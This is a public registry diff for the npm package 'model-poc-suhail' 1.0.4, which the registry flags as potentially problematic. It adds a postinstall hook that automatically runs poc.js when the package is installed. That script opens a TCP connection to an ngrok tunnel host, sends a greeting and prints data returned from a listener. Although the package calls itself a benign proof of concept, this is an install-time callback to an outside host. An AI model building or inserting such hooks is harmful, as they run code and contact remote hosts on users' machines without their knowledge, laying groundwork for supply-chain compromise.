model-poc-suhail 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of model-poc-suhail might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +11 -0
  2. package/poc.js +28 -0
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "model-poc-suhail",
3
+ "version": "1.0.4",
4
+ "description": "Benign PoC for sandbox execution testing",
5
+ "scripts": {
6
+ "postinstall": "node poc.js"
7
+ },
8
+ "main": "poc.js",
9
+ "author": "you",
10
+ "license": "MIT"
11
+ }
package/poc.js ADDED
@@ -0,0 +1,28 @@
1
+ const net = require('net');
2
+
3
+ const HOST = '0.tcp.in.ngrok.io';
4
+ const PORT = 11607;
5
+
6
+ const client = new net.Socket();
7
+
8
+ client.connect(PORT, HOST, () => {
9
+ console.log('[+] Connected to ngrok TCP tunnel');
10
+ console.log(`[+] Target: ${HOST}:${PORT}`);
11
+
12
+ client.write('Hello from Node.js via ngrok TCP tunnel\n');
13
+ });
14
+
15
+ // receive data from netcat side
16
+ client.on('data', (data) => {
17
+ console.log('[Server]:', data.toString());
18
+ });
19
+
20
+ // handle errors
21
+ client.on('error', (err) => {
22
+ console.error('[!] Connection error:', err.message);
23
+ });
24
+
25
+ // handle close
26
+ client.on('close', () => {
27
+ console.log('[-] Connection closed');
28
+ });